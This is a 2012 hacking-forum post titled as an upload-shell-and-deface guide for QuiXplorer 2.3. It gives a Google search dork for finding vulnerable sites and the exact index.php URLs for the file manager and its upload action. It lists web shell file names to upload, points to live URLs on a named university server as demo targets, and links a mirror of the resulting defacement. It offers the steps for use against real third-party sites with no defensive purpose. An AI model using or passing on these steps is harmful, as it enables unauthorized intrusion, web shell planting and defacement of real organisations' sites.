Thread: ["QuiXplorer 2.3 <= Bugtraq File Upload Vulnerability" Upload shell and deface easily](#)

ellyz135 - December 26, 2012, 4:08 am

open Google.com and type this dork
intitle:"QuiXplorer 2.3 - the QuiX project"

you'll see a lot of sites, some big websites are vuln too like haeward university website,
select any website from search results
Vulnerablity

[http://\[localhost\]/\[path\]/index.php?action=list&order=name&srt=yes](http://[localhost]/[path]/index.php?action=list&order=name&srt=yes)

[http://site.com/\[xyz\]/index.php?action=list&order=name&srt=yes](http://site.com/[xyz]/index.php?action=list&order=name&srt=yes)

after Going to this you will saw a file manager
you can upload your files here

find this edit file create file etc icons in page and click on last, its upload option

You can direct upload too with chnaging url, just put action=upload&order=name&srt=yes
after index.php?

example :

[http://site.com/\[xyz\]/index.php?action=upload&order=name&srt=yes](http://site.com/[xyz]/index.php?action=upload&order=name&srt=yes)

Shell Example : shell.php, shell.asp, shell.html, shell.php.jpg, shell.asp.jpg, or,,

- anything support file

click On you file For view

Live demo :

<http://www.hcs.harvard.edu/~eac/letters/files/index.php?action=list&order=name&srt=yes>

<http://www.hcs.harvard.edu/~eac/letters/files/index.php?action=upload&order=name&srt=yes>

<http://www.hcs.harvard.edu/~eac/letters/filestorage/>

i know some asshole will chnage the deface

so its mirrOr of defacements <http://attack-h.org/attack/?id=8452>
